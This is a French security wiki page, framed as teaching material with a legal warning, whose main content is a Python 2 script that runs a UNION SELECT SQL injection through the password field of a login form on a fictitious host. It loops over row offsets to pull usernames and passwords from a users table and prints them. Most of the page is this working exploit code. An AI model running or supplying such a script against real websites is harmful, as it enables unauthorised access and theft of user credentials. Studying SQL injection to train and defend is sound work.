Injection.py

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Fiche express
Domaine Sécurité — injection SQL
Technique UNION SELECT
Cible Formulaire web (exemple)

Script Python d'injection SQL récupérant, via UNION SELECT, les identifiants et mots de passe d'utilisateurs à partir d'un formulaire web vulnérable. Fourni à titre pédagogique ; le domaine cible est fictif.

#!/usr/bin/python
#-*- coding:utf-8 -*-

# script d'injection SQL pour récupération identifiant mot de  passe des utilisateurs

import  httplib, urllib

# définition des variables serveur
site = "stress_test.com"
port = 80
formulaire = "/identification.php"

# définition des champs de formulaire
identif="test"
mdp=""
ref="identification"
valider="Valider"

for champ in range(1,10):
   #création du champ mdp avec incrémentation du décalage
   mdp="' UNION SELECT identifiant, motdepasse FROM utilisateurs LIMIT "+str(champ)+",1 #"
   #création des paramètres à poster
   parametres = urllib.urlencode({'identif':identif,'mdp':mdp,'ref':ref,'valider':valider,'valider':'Rechercher'})
   #création de l'entête
   headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
   #connexion au site
   conn = httplib.HTTPConnection(site+":"+str(port))
   #envoi de la requête POST
   conn.request("POST",formulaire,parametres,headers)
   #lecture de la réponse
   reponse = conn.getresponse()
   #vérification si la réponse est 200, donc page ok et traitement des données de retour
   code_retour = reponse.status
   if (code_retour == 200):
         #lecture des données de la page de retour
         data=reponse.read()
         #détection de la position des mots Votre et </form> qui encadre les éléments qui nous intéressent
         position1 = data.find('Votre')
         position2 = data.find('</form>')
         #extraction des données intéressantes
         donnee=data[position1:position2-1]
         #affichage
         print donnee
conn.close()

Voir aussi